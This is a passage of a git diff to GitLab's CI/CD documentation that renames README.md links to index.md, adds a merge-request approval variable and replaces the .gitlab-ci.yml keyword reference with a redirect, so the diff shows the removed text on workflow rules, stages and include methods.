`CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The image prefix for pulling images through the Dependency Proxy. | | `CI_DEPENDENCY_PROXY_PASSWORD` | 13.7 | all | The password to pull images through the Dependency Proxy. | @@ -49,10 +49,10 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_DEPLOY_PASSWORD` | 10.8 | all | The authentication password of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), if the project has one. | | `CI_DEPLOY_USER` | 10.8 | all | The authentication username of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), if the project has one. | | `CI_DISPOSABLE_ENVIRONMENT` | all | 10.1 | Only available if the job is executed in a disposable environment (something that is created only for this job and disposed of/destroyed after the execution - all executors except `shell` and `ssh`). `true` when available. | -| `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/README.md#environmentname) is set. | -| `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/README.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). | -| `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/README.md#environmenturl) is set. | -| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/README.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. | +| `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/index.md#environmentname) is set. | +| `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/index.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). | +| `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/index.md#environmenturl) is set. | +| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/index.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. | | `CI_ENVIRONMENT_TIER` | 14.0 | all | The [deployment tier of the environment](../environments/index.md#deployment-tier-of-environments) for this job. | | `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Only available if the pipeline's project has an open [requirement](../../user/project/requirements/index.md). `true` when available. | | `CI_JOB_ID` | 9.0 | all | The internal ID of the job, unique across all jobs in the GitLab instance. | @@ -61,20 +61,20 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_JOB_MANUAL` | 8.12 | all | `true` if a job was started manually. | | `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job. | | `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the job's stage. | -| `CI_JOB_STATUS` | all | 13.5 | The status of the job as each runner stage is executed. Use with [`after_script`](../yaml/README.md#after_script). Can be `success`, `failed`, or `canceled`. | -| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/README.md#gitlab-cicd-job-token). The token is valid as long as the job is running. | +| `CI_JOB_STATUS` | all | 13.5 | The status of the job as each runner stage is executed. Use with [`after_script`](../yaml/index.md#after_script). Can be `success`, `failed`, or `canceled`. | +| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/index.md#gitlab-cicd-job-token). The token is valid as long as the job is running. | | `CI_JOB_URL` | 11.1 | 0.5 | The job details URL. | | `CI_JOB_STARTED_AT` | 13.10 | all | The UTC datetime when a job started, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. | | `CI_KUBERNETES_ACTIVE` | 13.0 | all | Only available if the pipeline has a Kubernetes cluster available for deployments. `true` when available. | -| `CI_NODE_INDEX` | 11.5 | all | The index of the job in the job set. Only available if the job uses [`parallel`](../yaml/README.md#parallel). | -| `CI_NODE_TOTAL` | 11.5 | all | The total number of instances of this job running in parallel. Set to `1` if the job does not use [`parallel`](../yaml/README.md#parallel). | +| `CI_NODE_INDEX` | 11.5 | all | The index of the job in the job set. Only available if the job uses [`parallel`](../yaml/index.md#parallel). | +| `CI_NODE_TOTAL` | 11.5 | all | The total number of instances of this job running in parallel. Set to `1` if the job does not use [`parallel`](../yaml/index.md#parallel). | | `CI_OPEN_MERGE_REQUESTS` | 13.8 | all | A comma-separated list of up to four merge requests that use the current branch and project as the merge request source. Only available in branch and merge request pipelines if the branch has an associated merge request. For example, `gitlab-org/gitlab!333,gitlab-org/gitlab-foss!11`. | | `CI_PAGES_DOMAIN` | 11.8 | all | The configured domain that hosts GitLab Pages. | | `CI_PAGES_URL` | 11.8 | all | The URL for a GitLab Pages site. Always a subdomain of `CI_PAGES_DOMAIN`. | | `CI_PIPELINE_ID` | 8.10 | all | The instance-level ID of the current pipeline. This ID is unique across all projects on the GitLab instance. | | `CI_PIPELINE_IID` | 11.0 | all | The project-level IID (internal ID) of the current pipeline. This ID is unique only within the current project. | -| `CI_PIPELINE_SOURCE` | 10.0 | all | How the pipeline was triggered. Can be `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens). | -| `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/README.md). | +| `CI_PIPELINE_SOURCE` | 10.0 | all | How the pipeline was triggered. Can be `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/index.md#authentication-tokens). | +| `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/index.md). | | `CI_PIPELINE_URL` | 11.1 | 0.5 | The URL for the pipeline details. | | `CI_PIPELINE_CREATED_AT` | 13.10 | all | The UTC datetime when the pipeline was created, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. | | `CI_PROJECT_CONFIG_PATH` | 13.8 to 13.12 | all | [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) in GitLab 14.0. Use `CI_CONFIG_PATH`. | @@ -119,17 +119,18 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. | | `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. | | `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. | -| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/README.md#using-webhook-payload-in-the-triggered-pipeline). | +| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#using-webhook-payload-in-the-triggered-pipeline). | ## Predefined variables for merge request pipelines These variables are available when: -- The pipelines [are merge request pipelines](../merge_request_pipelines/index.md). +- The pipelines [are merge request pipelines](../pipelines/merge_request_pipelines.md). - The merge request is open. | Variable | GitLab | Runner | Description | |----------------------------------------|--------|--------|-------------| +| `CI_MERGE_REQUEST_APPROVED` | 14.1 | all | Approval status of the merge request. `true` when [merge request approvals](../../user/project/merge_requests/approvals/index.md) is available and the merge request has been approved. | | `CI_MERGE_REQUEST_ASSIGNEES` | 11.9 | all | Comma-separated list of usernames of assignees for the merge request. | | `CI_MERGE_REQUEST_ID` | 11.6 | all | The instance-level ID of the merge request. This is a unique ID across all projects on GitLab. | | `CI_MERGE_REQUEST_IID` | 11.6 | all | The project-level IID (internal ID) of the merge request. This ID is unique for the current project. | @@ -140,12 +141,12 @@ These variables are available when: | `CI_MERGE_REQUEST_PROJECT_URL` | 11.6 | all | The URL of the project of the merge request. For example, `http://192.168.10.15:3000/namespace/awesome-project`. | | `CI_MERGE_REQUEST_REF_PATH` | 11.6 | all | The ref path of the merge request. For example, `refs/merge-requests/1/head`. | | `CI_MERGE_REQUEST_SOURCE_BRANCH_NAME` | 11.6 | all | The source branch name of the merge request. | -| `CI_MERGE_REQUEST_SOURCE_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the source branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** | +| `CI_MERGE_REQUEST_SOURCE_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the source branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../pipelines/pipelines_for_merged_results.md). **(PREMIUM)** | | `CI_MERGE_REQUEST_SOURCE_PROJECT_ID` | 11.6 | all | The ID of the source project of the merge request. | | `CI_MERGE_REQUEST_SOURCE_PROJECT_PATH` | 11.6 | all | The path of the source project of the merge request. | | `CI_MERGE_REQUEST_SOURCE_PROJECT_URL` | 11.6 | all | The URL of the source project of the merge request. | | `CI_MERGE_REQUEST_TARGET_BRANCH_NAME` | 11.6 | all | The target branch name of the merge request. | -| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** | +| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../pipelines/pipelines_for_merged_results.md). **(PREMIUM)** | | `CI_MERGE_REQUEST_TITLE` | 11.9 | all | The title of the merge request. | | `CI_MERGE_REQUEST_EVENT_TYPE` | 12.3 | all | The event type of the merge request. Can be `detached`, `merged_result` or `merge_train`. | | `CI_MERGE_REQUEST_DIFF_ID` | 13.7 | all | The version of the merge request diff. | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 76d4d929ff0..beb19c8beea 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -7,7 +7,7 @@ type: reference # Where variables can be used -As it's described in the [CI/CD variables](README.md) docs, you can +As it's described in the [CI/CD variables](index.md) docs, you can define many different variables. Some of them can be used for all GitLab CI/CD features, but some of them are more or less limited. @@ -149,7 +149,7 @@ In the case of `after_script` scripts, they can: - Not use variables defined in `before_script` and `script`. These restrictions exist because `after_script` scripts are executed in a -[separated shell context](../yaml/README.md#after_script). +[separated shell context](../yaml/index.md#after_script). ## Persisted variables diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 8e9cf00b160..5ab8653dc35 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -1,4874 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: 'index.md' --- -<!-- markdownlint-disable MD044 --> -<!-- vale gitlab.Spelling = NO --> -# Keyword reference for the .gitlab-ci.yml file **(FREE)** -<!-- vale gitlab.Spelling = YES --> -<!-- markdownlint-enable MD044 --> +This document was moved to [another location](index.md). -This document lists the configuration options for your GitLab `.gitlab-ci.yml` file. - -- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md). -- For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). -- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). - -When you are editing your `.gitlab-ci.yml` file, you can validate it with the -[CI Lint](../lint.md) tool. - -## Job keywords - -A job is defined as a list of keywords that define the job's behavior. - -The keywords available for jobs are: - -| Keyword | Description | -| :-----------------------------------|:------------| -| [`after_script`](#after_script) | Override a set of commands that are executed after job. | -| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | -| [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. | -| [`before_script`](#before_script) | Override a set of commands that are executed before job. | -| [`cache`](#cache) | List of files that should be cached between subsequent runs. | -| [`coverage`](#coverage) | Code coverage settings for a given job. | -| [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. | -| [`environment`](#environment) | Name of an environment to which the job deploys. | -| [`except`](#only--except) | Control when jobs are not created. | -| [`extends`](#extends) | Configuration entries that this job inherits from. | -| [`image`](#image) | Use Docker images. | -| [`include`](#include) | Include external YAML files. | -| [`inherit`](#inherit) | Select which global defaults all jobs inherit. | -| [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. | -| [`needs`](#needs) | Execute jobs earlier than the stage ordering. | -| [`only`](#only--except) | Control when jobs are created. | -| [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. | -| [`parallel`](#parallel) | How many instances of a job should be run in parallel. | -| [`release`](#release) | Instructs the runner to generate a [release](../../user/project/releases/index.md) object. | -| [`resource_group`](#resource_group) | Limit job concurrency. | -| [`retry`](#retry) | When and how many times a job can be auto-retried in case of a failure. | -| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. | -| [`script`](#script) | Shell script that is executed by a runner. | -| [`secrets`](#secrets) | The CI/CD secrets the job needs. | -| [`services`](#services) | Use Docker services images. | -| [`stage`](#stage) | Defines a job stage. | -| [`tags`](#tags) | List of tags that are used to select a runner. | -| [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. | -| [`trigger`](#trigger) | Defines a downstream pipeline trigger. | -| [`variables`](#variables) | Define job variables on a job level. | -| [`when`](#when) | When to run job. | - -### Unavailable names for jobs - -You can't use these keywords as job names: - -- `image` -- `services` -- `stages` -- `types` -- `before_script` -- `after_script` -- `variables` -- `cache` -- `include` - -### Custom default keyword values - -You can set global defaults for some keywords. Jobs that do not define one or more -of the listed keywords use the value defined in the `default:` section. - -These job keywords can be defined inside a `default:` section: - -- [`after_script`](#after_script) -- [`artifacts`](#artifacts) -- [`before_script`](#before_script) -- [`cache`](#cache) -- [`image`](#image) -- [`interruptible`](#interruptible) -- [`retry`](#retry) -- [`services`](#services) -- [`tags`](#tags) -- [`timeout`](#timeout) - -The following example sets the `ruby:3.0` image as the default for all jobs in the pipeline. -The `rspec 2.7` job does not use the default, because it overrides the default with -a job-specific `image:` section: - -```yaml -default: - image: ruby:3.0 - -rspec: - script: bundle exec rspec - -rspec 2.7: - image: ruby:2.7 - script: bundle exec rspec -``` - -## Global keywords - -Some keywords are not defined in a job. These keywords control pipeline behavior -or import additional pipeline configuration: - -| Keyword | Description | -|-------------------------|:------------| -| [`stages`](#stages) | The names and order of the pipeline stages. | -| [`workflow`](#workflow) | Control what types of pipeline run. | -| [`include`](#include) | Import configuration from other YAML files. | - -### `stages` - -Use `stages` to define stages that contain groups of jobs. `stages` is defined globally -for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is -part of. - -The order of the `stages` items defines the execution order for jobs: - -- Jobs in the same stage run in parallel. -- Jobs in the next stage run after the jobs from the previous stage complete successfully. - -For example: - -```yaml -stages: - - build - - test - - deploy -``` - -1. All jobs in `build` execute in parallel. -1. If all jobs in `build` succeed, the `test` jobs execute in parallel. -1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel. -1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`. - -If any job fails, the pipeline is marked as `failed` and jobs in later stages do not -start. Jobs in the current stage are not stopped and continue to run. - -If no `stages` are defined in the `.gitlab-ci.yml` file, then `build`, `test` and `deploy` -are the default pipeline stages. - -If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. - -If a stage is defined, but no jobs use it, the stage is not visible in the pipeline. This is -useful for [compliance pipeline configuration](../../user/project/settings/index.md#compliance-pipeline-configuration) -because: - -- Stages can be defined in the compliance configuration but remain hidden if not used. -- The defined stages become visible when developers use them in job definitions. - -To make a job start earlier and ignore the stage order, use -the [`needs`](#needs) keyword. - -### `workflow` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5 - -Use `workflow:` to determine whether or not a pipeline is created. -Define this keyword at the top level, with a single `rules:` keyword that -is similar to [`rules:` defined in jobs](#rules). - -You can use the [`workflow:rules` templates](#workflowrules-templates) to import -a preconfigured `workflow: rules` entry. - -`workflow: rules` accepts these keywords: - -- [`if`](#rulesif): Check this rule to determine when to run a pipeline. -- [`when`](#when): Specify what to do when the `if` rule evaluates to true. - - To run a pipeline, set to `always`. - - To prevent pipelines from running, set to `never`. -- [`variables`](#workflowrulesvariables): If not defined, uses the [variables defined elsewhere](#variables). - -When no rules evaluate to true, the pipeline does not run. - -Some example `if` clauses for `workflow: rules`: - -| Example rules | Details | -|------------------------------------------------------|-----------------------------------------------------------| -| `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'` | Control when merge request pipelines run. | -| `if: '$CI_PIPELINE_SOURCE == "push"'` | Control when both branch pipelines and tag pipelines run. | -| `if: $CI_COMMIT_TAG` | Control when tag pipelines run. | -| `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. | - -See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples. - -In the following example, pipelines run for all `push` events (changes to -branches and new tags). Pipelines for push events with `-draft` in the commit message -don't run, because they are set to `when: never`. Pipelines for schedules or merge requests -don't run either, because no rules evaluate to true for them: - -```yaml -workflow: - rules: - - if: $CI_COMMIT_MESSAGE =~ /-draft$/ - when: never - - if: '$CI_PIPELINE_SOURCE == "push"' -``` - -This example has strict rules, and pipelines do **not** run in any other case. - -Alternatively, all of the rules can be `when: never`, with a final -`when: always` rule. Pipelines that match the `when: never` rules do not run. -All other pipeline types run: - -```yaml -workflow: - rules: - - if: '$CI_PIPELINE_SOURCE == "schedule"' - when: never - - if: '$CI_PIPELINE_SOURCE == "push"' - when: never - - when: always -``` - -This example prevents pipelines for schedules or `push` (branches and tags) pipelines. -The final `when: always` rule runs all other pipeline types, **including** merge -request pipelines. - -If your rules match both branch pipelines and merge request pipelines, -[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur. - -#### `workflow:rules:variables` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11. -> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/300997) in GitLab 13.12. -> - Enabled on GitLab.com. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-workflowrulesvariables). **(FREE SELF)** - -There can be -[risks when disabling released features](../../user/feature_flags.md#risks-when-disabling-released-features). -Refer to this feature's version history for more details. - -You can use [`variables`](#variables) in `workflow:rules:` to define variables for specific pipeline conditions. - -For example: - -```yaml -variables: - DEPLOY_VARIABLE: "default-deploy" - -workflow: - rules: - - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH - variables: - DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE - - if: $CI_COMMIT_REF_NAME =~ /feature/ - variables: - IS_A_FEATURE: "true" # Define a new variable. - - when: always # Run the pipeline in other cases - -job1: - variables: - DEPLOY_VARIABLE: "job1-default-deploy" - rules: - - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH - variables: # Override DEPLOY_VARIABLE defined - DEPLOY_VARIABLE: "job1-deploy-production" # at the job level. - - when: on_success # Run the job in other cases - script: - - echo "Run script with $DEPLOY_VARIABLE as an argument" - - echo "Run another script if $IS_A_FEATURE exists" - -job2: - script: - - echo "Run script with $DEPLOY_VARIABLE as an argument" - - echo "Run another script if $IS_A_FEATURE exists" -``` - -When the branch is the default branch: - -- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`. -- job2's `DEPLOY_VARIABLE` is `deploy-production`. - -When the branch is `feature`: - -- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`. -- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`. - -When the branch is something else: - -- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`. -- job2's `DEPLOY_VARIABLE` is `default-deploy`. - -##### Enable or disable workflow:rules:variables **(FREE SELF)** - -workflow:rules:variables is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_workflow_rules_variables) -``` - -To disable it: - -```ruby -Feature.disable(:ci_workflow_rules_variables) -``` - -#### `workflow:rules` templates - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217732) in GitLab 13.0. - -GitLab provides templates that set up `workflow: rules` -for common scenarios. These templates help prevent duplicate pipelines. - -The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml) -makes your pipelines run for branches and tags. - -Branch pipeline status is displayed in merge requests that use the branch -as a source. However, this pipeline type does not support any features offered by -[merge request pipelines](../merge_request_pipelines/), like -[pipelines for merge results](../merge_request_pipelines/#pipelines-for-merged-results) -or [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/). -This template intentionally avoids those features. - -To [include](#include) it: - -```yaml -include: - - template: 'Workflows/Branch-Pipelines.gitlab-ci.yml' -``` - -The [`MergeRequest-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml) -makes your pipelines run for the default branch, tags, and -all types of merge request pipelines. Use this template if you use any of the -the [pipelines for merge requests features](../merge_request_pipelines/). - -To [include](#include) it: - -```yaml -include: - - template: 'Workflows/MergeRequest-Pipelines.gitlab-ci.yml' -``` - -#### Switch between branch pipelines and merge request pipelines - -> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) GitLab 13.8. - -To make the pipeline switch from branch pipelines to merge request pipelines after -a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file. - -If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) -might run at the same time. To prevent duplicate pipelines, use the -[`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md). - -The following example is for a project that runs branch and merge request pipelines only, -but does not run pipelines for any other case. It runs: - -- Branch pipelines when a merge request is not open for the branch. -- Merge request pipelines when a merge request is open for the branch. - -```yaml -workflow: - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - - if: '$CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS' - when: never - - if: '$CI_COMMIT_BRANCH' -``` - -If the pipeline is triggered by: - -- A merge request, run a merge request pipeline. For example, a merge request pipeline - can be triggered by a push to a branch with an associated open merge request. -- A change to a branch, but a merge request is open for that branch, do not run a branch pipeline. -- A change to a branch, but without any open merge requests, run a branch pipeline. - -You can also add a rule to an existing `workflow` section to switch from branch pipelines -to merge request pipelines when a merge request is created. - -Add this rule to the top of the `workflow` section, followed by the other rules that -were already present: - -```yaml -workflow: - rules: - - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS && $CI_PIPELINE_SOURCE == "push" - when: never - - ... # Previously defined workflow rules here -``` - -[Triggered pipelines](../triggers/README.md) that run on a branch have a `$CI_COMMIT_BRANCH` -set and could be blocked by a similar rule. Triggered pipelines have a pipeline source -of `trigger` or `pipeline`, so `&& $CI_PIPELINE_SOURCE == "push"` ensures the rule -does not block triggered pipelines. - -### `include` - -> [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Free in 11.4. - -Use `include` to include external YAML files in your CI/CD configuration. -You can break down one long `gitlab-ci.yml` file into multiple files to increase readability, -or reduce duplication of the same configuration in multiple places. - -You can also store template files in a central repository and `include` them in projects. - -`include` requires the external YAML file to have the extensions `.yml` or `.yaml`, -otherwise the external file is not included. - -You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`. -You can only refer to anchors in the same file. To reuse configuration from different -YAML files, use [`!reference` tags](#reference-tags) or the [`extends` keyword](#extends). - -`include` supports the following inclusion methods: - -| Keyword | Method | -|:--------------------------------|:------------------------------------------------------------------| -| [`local`](#includelocal) | Include a file from the local project repository. | -| [`file`](#includefile) | Include a file from a different project repository. | -| [`remote`](#includeremote) | Include a file from a remote URL. Must be publicly accessible. | -| [`template`](#includetemplate) | Include templates that are provided by GitLab. | - -When the pipeline starts, the `.gitlab-ci.yml` file configuration included by all methods is evaluated. -The configuration is a snapshot in time and persists in the database. GitLab does not reflect any changes to -the referenced `.gitlab-ci.yml` file configuration until the next pipeline starts. - -The `include` files are: - -- Deep merged with those in the `.gitlab-ci.yml` file. -- Always evaluated first and merged with the content of the `.gitlab-ci.yml` file, - regardless of the position of the `include` keyword. - -NOTE: -Use merging to customize and override included CI/CD configurations with local -configurations. Local configurations in the `.gitlab-ci.yml` file override included configurations. - -#### Variables with `include` **(FREE SELF)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/284883) in GitLab 13.8. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294294) in GitLab 13.9. - -You can [use some predefined variables in `include` sections](../variables/where_variables_can_be_used.md#gitlab-ciyml-file) -in your `.gitlab-ci.yml` file: - -```yaml -include: - project: '$CI_PROJECT_PATH' - file: '.compliance-gitlab-ci.yml' -``` - -For an example of how you can include these predefined variables, and the variables' impact on CI/CD jobs, -see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos). - -#### `include:local` - -Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file. -Use a full path relative to the root directory (`/`). - -If you use `include:local`, make sure that both the `.gitlab-ci.yml` file and the local file -are on the same branch. - -You can't include local files through Git submodules paths. - -All [nested includes](#nested-includes) are executed in the scope of the same project, -so it's possible to use local, project, remote, or template includes. - -Example: - -```yaml -include: - - local: '/templates/.gitlab-ci-template.yml' -``` - -You can also use shorter syntax to define the path: - -```yaml -include: '.gitlab-ci-production.yml' -``` - -Use local includes instead of symbolic links. - -##### `include:local` with wildcard file paths - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25921) in GitLab 13.11. -> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/327315) in GitLab 13.12. -> - Enabled on GitLab.com. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to disable it. **(CORE ONLY)** - -There can be -[risks when disabling released features](../../user/feature_flags.md#risks-when-disabling-released-features). -Refer to this feature's version history for more details. - -You can use wildcard paths (`*` and `**`) with `include:local`. - -Example: - -```yaml -include: 'configs/*.yml' -``` - -When the pipeline runs, GitLab: - -- Adds all `.yml` files in the `configs` directory into the pipeline configuration. -- Does not add `.yml` files in subfolders of the `configs` directory. To allow this, - add the following configuration: - - ```yaml - # This matches all `.yml` files in `configs` and any subfolder in it. - include: 'configs/**.yml' - - # This matches all `.yml` files only in subfolders of `configs`. - include: 'configs/**/*.yml' - ``` - -The wildcard file paths feature is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_wildcard_file_paths) -``` - -To disable it: - -```ruby -Feature.disable(:ci_wildcard_file_paths) -``` - -#### `include:file` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. - -To include files from another private project on the same GitLab instance, -use `include:file`. You can use `include:file` in combination with `include:project` only. -Use a full path, relative to the root directory (`/`). - -For example: - -```yaml -include: - - project: 'my-group/my-project' - file: '/templates/.gitlab-ci-template.yml' -``` - -You can also specify a `ref`. If you do not specify a value, the ref defaults to the `HEAD` of the project: - -```yaml -include: - - project: 'my-group/my-project' - ref: main - file: '/templates/.gitlab-ci-template.yml' - - - project: 'my-group/my-project' - ref: v1.0.0 - file: '/templates/.gitlab-ci-template.yml' - - - project: 'my-group/my-project' - ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA - file: '/templates/.gitlab-ci-template.yml' -``` - -All [nested includes](#nested-includes) are executed in the scope of the target project. -You can use local (relative to target project), project, remote, or template includes. - -##### Multiple files from a project - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26793) in GitLab 13.6. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/271560) in GitLab 13.8. - -You can include multiple files from the same project: - -```yaml -include: - - project: 'my-group/my-project' - ref: main - file: - - '/templates/.builds.yml' - - '/templates/.tests.yml' -``` - -#### `include:remote` - -Use `include:remote` with a full URL to include a file from a different location. -The remote file must be publicly accessible by an HTTP/HTTPS `GET` request, because -authentication in the remote URL is not supported. For example: - -```yaml -include: - - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml' -``` - -All [nested includes](#nested-includes) execute without context as a public user, -so you can only `include` public projects or templates. - -#### `include:template` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7. - -Use `include:template` to include `.gitlab-ci.yml` templates that are -[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). - -For example: - -```yaml -# File sourced from the GitLab template collection -include: - - template: Auto-DevOps.gitlab-ci.yml -``` - -Multiple `include:template` files: - -```yaml -include: - - template: Android-Fastlane.gitlab-ci.yml - - template: 